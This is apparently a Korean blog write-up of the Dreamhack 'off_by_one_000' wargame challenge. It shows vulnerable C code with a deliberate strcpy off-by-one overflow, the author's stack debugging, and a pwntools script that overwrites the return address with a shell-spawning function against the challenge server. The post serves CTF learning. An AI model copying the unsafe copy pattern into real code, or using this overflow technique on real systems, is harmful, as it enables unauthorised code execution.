off_by_one_000
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char cp_name[256];
void get_shell()
{
system("/bin/sh");
}
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int cpy()
{
char real_name[256];
strcpy(real_name, cp_name);
return 0;
}
int main()
{
initialize();
printf("Name: ");
read(0, cp_name, sizeof(cp_name));
cpy();
printf("Name: %s", cp_name);
return 0;
}
메인함수의 기능을 보면
256바이트 만큼 cp_name에 입력을 받는다.
이후cpy 함수를 사용한다
cpy 함수는 real_name(256) 이라는 변수에 cp_name값을 strcpy한다.(대입) 이후 return 0을 하여 함수를 종료하고, 메인함수로 돌아온다.
메인함수에서 cp_name값을 %s를 통해 출력하고 종료한다.
내생각에는 256바이트를 null 값을 안넣고 입력하면 strcpy는 null 까지가 한 단어라고 생각하니까 다 채워버리면 그 이후의 값을 출력하지 않을까 하는 생각이다.
아니면 get_shell을 실행시켜야 하는걸 보니까 bof와도 연관이 있을 것 같다.
일단 ret의 주소는 0xffffd0dc 이다.
아무생각 없이 256바이트를 적었더니 ret 주소가 바뀌어 있었다.
첫 read의 버퍼 주소는 0x804a060이다. 하지만 이후에 cpy 함수 내에 변수를 보면
0xffffcfd0 자리에 복사가 되는걸 볼 수 있따.
고로 0xffffcfd0는 real_name변수의 메모리 주소다.
cpy의 ret 주소는 0xffffd0d4이다.
이 둘의 주소 차이는 260바이트가 차이난다.
이후 main함수의 ret 주소는 0xffffd0dc이다.
일단 256바이트만 입력 받는데 어떻게 ret 주소가 덮어 씌워졌는지가 의문이였다.
254바이트일 경우 정상 동작하고, 255, 256 바이트 일 경우 ret 주소가 변형된다. 이를 봐서 내 가설처럼 null 로 인한 뒤에 메모리값까지 복사가 되는것 같다.
전역변수 값의 메모리를 참조해봤다. 내 가설이 맞다면 저 ㅜ디에까지 다 복사가 되서 bof가 발생한다는 점이다. 확인을 위해 진행해보겠따.
cpy내에 strcpy를 실행하기 바로 후의 스택 이다.
영문은 모르겠지만 0xffff9904자리가 ret으로 덮어씌워지고 있다.
자꾸 위치가 변하는거 같아서 애를 먹었다.
그래서 어느 위치에 정확히 까는게 어렵다고 판단이 들어서 256바이트를 전부 get_shell 주소로 덮어 버렸다.
from pwn import *
#p = process('./off_by_one_000')
p = remote('host3.dreamhack.games', 8851)
#gdb.attach(p)
#sleep(3)
p.recvuntil("Name: ")
payload = p32(0x80485db)*64
p.sendline(payload)
p.interactive()
p.close()
얼렁뚱땅 쿠당당탕 해결이됐다….
'시스템해킹' 카테고리의 다른 글
[LAZENCA] ROP-x64 part.2 (1) | 2023.11.09 |
---|---|
[LAZENCA] ROP-x64 part.1 (1) | 2023.11.09 |
SSTF bof101 writeup (1) | 2023.11.02 |
[sunshine CTF 2023] Array of Sunshine writeup (1) | 2023.10.19 |
dreamhack 쉘코드 강의 정리(1) (1) | 2023.10.05 |